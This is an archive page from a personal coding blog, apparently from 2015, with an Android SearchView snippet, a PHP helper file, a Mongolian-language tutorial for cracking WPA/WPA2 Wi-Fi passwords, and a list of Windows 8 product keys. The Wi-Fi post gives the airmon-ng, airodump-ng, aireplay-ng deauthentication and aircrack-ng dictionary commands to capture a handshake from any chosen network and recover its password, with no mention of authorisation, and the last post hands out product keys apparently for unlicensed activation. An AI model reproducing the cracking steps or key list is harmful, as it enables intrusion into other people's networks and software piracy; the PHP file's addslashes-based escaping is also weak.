Sunday, April 26, 2015

standard SearchView in Action Bar android

@Override
    protected void onCreate(Bundle savedInstanceState) {
        requestWindowFeature(Window.FEATURE_ACTION_BAR);
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        if (savedInstanceState == null) {
            App.config.init(R.xml.app_config);

            //initActionBarCommands();
            //historySet(new HomeFragment(), R.id.frame_container, null);
        }
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);

        MenuItem searchItem = menu.findItem(R.id.action_search);

        SearchManager searchManager = (SearchManager) getSystemService(Context.SEARCH_SERVICE);

        SearchView searchView = (SearchView) MenuItemCompat.getActionView(searchItem);
        ComponentName componentName = new ComponentName(getApplicationContext(), SearchResultsActivity.class);
        SearchableInfo searchableInfo = searchManager.getSearchableInfo(componentName);
        if (searchView != null) {
            searchView.setSearchableInfo(searchableInfo);
        }

        return true;
    }


in xml/searchable.xml


<?xml version="1.0" encoding="utf-8"?>
<searchable xmlns:android="http://schemas.android.com/apk/res/android"
    android:label="@string/app_name"
    android:hint="@string/hint_search"
    android:includeInGlobalSearch="false"/>


in AndroidManifect.xml


<activity
            android:name=".MainActivity"
            android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:name=".SearchResultsActivity" android:launchMode="singleTop">
            <intent-filter>
                <action android:name="android.intent.action.SEARCH" />
            </intent-filter>
            <meta-data
                android:name="android.app.searchable"
                android:resource="@xml/searchable"
                android:value=".SearchResultActivity" />

        </activity>

Thursday, April 23, 2015

WPA/WPA2 CRACKING WITH AIRCRACK /KALI LINUX/

1. TERMINAL дээр airmon-ng start wlan0   гэж бичнэ.   

Харагдах байдал.  <a></a><a>http://s21.postimg.org/53t5tbfdz/image.jpg</a>

2. airodump-ng mon0 гэж бичнэ.

За нэг иймэрхүү харагдана.   <a>http://s24.postimg.org/s3cdprg0l/image.jpg</a>


3. Гарч ирсэн жагсаалт дотроос дайралт хийх утасгүй интернэтээ сонгож коммандаа бичнэ.

Жишээ нь 2 дахь дээр байгаа зургийн эхний утасгүй интернэт рүү дайръя гэвэл 

airodump-ng --channel 5 --write output --bssid 00:24:B2:A0:51:14 mon0  гэж бичнэ.

Нэмэлт тайлбар:

Эхлэл заавал airodump-ng байх ёстой.

2-рт --channel гэж бичээд араас нь  CH гэсний доод талын тоог залгаж бичнэ.

3-рт заавал  --write output гэж байна.

4-рт --bssid гэж бичээд BSSID гэсний доод талыг зай авж бичнэ.

5-рт  заавал mon0 гэж байна.

4. Өөр нэг TERMINAL нээж aireplay-ng --deauth 1 -a 00:24:B2:A0:51:14 -c 00:12:17:94:90:0D mon0 гэж бичнэ.

Нэмэлт тайлбар:

Эхлээд заавал aireplay-ng --deauth 1 гэж байна.

2-рт  -a гэж бичээд BSSID-аа зай авч бичнэ.

3-рт -c гэж бичээп араас нь 2-р зураг дээр байгаагийн STATION гэсний кодыг бичнэ.

4-рт заавал mon0 байна.

5. Уншиж дууссаны дараа WPA HANDSHAKE гэсэн бичиг гарч байвал бүх зүйл хэвийн үргэлжилж байна гэсэн үг.  Харагдах байдал: <a></a><a>http://s22.postimg.org/82coo6rbl/image.jpg</a>
<a>
</a>
<a>6. Одоо үргэлжлүүлээд шууд </a>aircrack-ng output-01.cap -w /root/tools/dictionaries/webster-dictionary.txt гэсэн комманд өгнө. Уншиж дууссаны дараа утасгүй интернэтийн нууц үг гарч илэрсэн болно.

amazing codeigntier functions

<?php

define('FILE_READ_MODE', 0644);
define('FILE_WRITE_MODE', 0666);
define('DIR_READ_MODE', 0755);
define('DIR_WRITE_MODE', 0777);

define('FOPEN_READ', 'rb');
define('FOPEN_READ_WRITE', 'r+b');
define('FOPEN_WRITE_CREATE_DESTRUCTIVE', 'wb'); // truncates existing file data, use with care
define('FOPEN_READ_WRITE_CREATE_DESTRUCTIVE', 'w+b'); // truncates existing file data, use with care
define('FOPEN_WRITE_CREATE', 'ab');
define('FOPEN_READ_WRITE_CREATE', 'a+b');
define('FOPEN_WRITE_CREATE_STRICT', 'xb');
define('FOPEN_READ_WRITE_CREATE_STRICT', 'x+b');

define('IS_AJAX', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest');
define('CHARSET', 'UTF-8');
define('CHARSET_NAMES', 'utf8');
define('CHARSET_COLLATION', 'utf8_general_ci');

//////////////////////////////////////////////////////////////////////////////

if (isset($_SERVER['HTTP_HOST'])) {
    if (
            (strpos($_SERVER['HTTP_HOST'], '.') === FALSE) || //from my computer
            (substr($_SERVER['HTTP_HOST'], 0, 8) === '192.168.') || //from private ip address
            ($_SERVER['HTTP_HOST'] === '127.0.0.1') || //from localhost
            ($_SERVER['HTTP_HOST'] === '10.0.2.2') //from android emulator
    ) {
        $user = "root";
        $pass = "";
        $db = "center_test";
    }
}

$base_url = 'http://localhost/';
if (isset($_SERVER['HTTP_HOST'])) {
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://' . $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
}
$base_path = str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);

date_default_timezone_set('UTC');

//////////////////////////////////////////////////////////////////////////////
if (!function_exists('escape_date')) {

    function escape_date($str) {
        $timestamp = strtotime($str);
        return date("Y-m-d H:i:s", $timestamp);
    }

}

if (!function_exists('utf8_header')) {

    function utf8_header($type = 'text/html') {
        header('Content-Type: ' . $type . '; charset=utf-8');
    }

}

// ---------------------------------------------------------------------------

if (!function_exists('server_var')) {

    function server_var($id) {
        return isset($_SERVER[$id]) ? $_SERVER[$id] : '';
    }

}

if (!function_exists('is_post')) {

    function is_post() {
        return server_var('REQUEST_METHOD') == 'POST';
    }

}

if (!function_exists('is_get')) {

    function is_get() {
        return server_var('REQUEST_METHOD') == 'GET';
    }

}

// ---------------------------------------------------------------------------
if (!function_exists('debug_log')) {

    function debug_log($msg) {
        $filepath = 'log-' . date('Y-m-d') . '.php';
        $message = (' - ' . date('Y-m-d H:i:s') . ' --> ' . $msg . "\n");

        if (!$fp = @fopen($filepath, FOPEN_WRITE_CREATE)) {
            return FALSE;
        }

        flock($fp, LOCK_EX);
        fwrite($fp, $message);
        flock($fp, LOCK_UN);
        fclose($fp);

        @chmod($filepath, FILE_WRITE_MODE);
    }

}

if (!function_exists('escape_str')) {

    function escape_str($str, $like = FALSE) {
        if (is_array($str)) {
            foreach ($str as $key => $val) {
                $str[$key] = escape_str($val, $like);
            }

            return $str;
        }

        if (function_exists('mysql_escape_string')) {
            $str = mysql_escape_string($str);
        } else {
            $str = addslashes($str);
        }

        // escape LIKE condition wildcards
        if ($like === TRUE) {
            $str = str_replace(array('%', '_'), array('\\%', '\\_'), $str);
        }

        return $str;
    }

}

if (!function_exists('html_escape')) {

    function html_escape($var) {
        if (is_array($var)) {
            return array_map('html_escape', $var);
        } else {
            return htmlspecialchars($var, ENT_QUOTES, CHARSET);
        }
    }

}

Wednesday, April 22, 2015

windows 8 product key list

HERE THE CODE FOR YOU--------------------------------------------------------------------------------------->Windows 8 (core): FB4WR-32NVD-4RW79-XQFWH-CYQG3
Windows 8 Pro: XKY4K-2NRWR-8F6P2-448RF-CRYQH
Windows 8 Pro with Media Center: RR3BN-3YY9P-9D7FC
-7J4YF-QGJXW

Windows 8.1 (core): 334NH-RXG76-64THK-C7CKG-D3VPT
Windows 8.1 Pro: XHQ8N-C3MCJ-RQXB6-WCHYG-C9WKB
Windows 8.1 Pro with Media Center: GBFNG-2X3TC-8R27F-RMKYB-JK7QT
Windows 8.1 Enterprise: MNDGV-M6PKV-DV4DR-CYY8X-2YRXH "OR" FHQNR-XYXYC-8PMHT-TV4PH-DRQ3H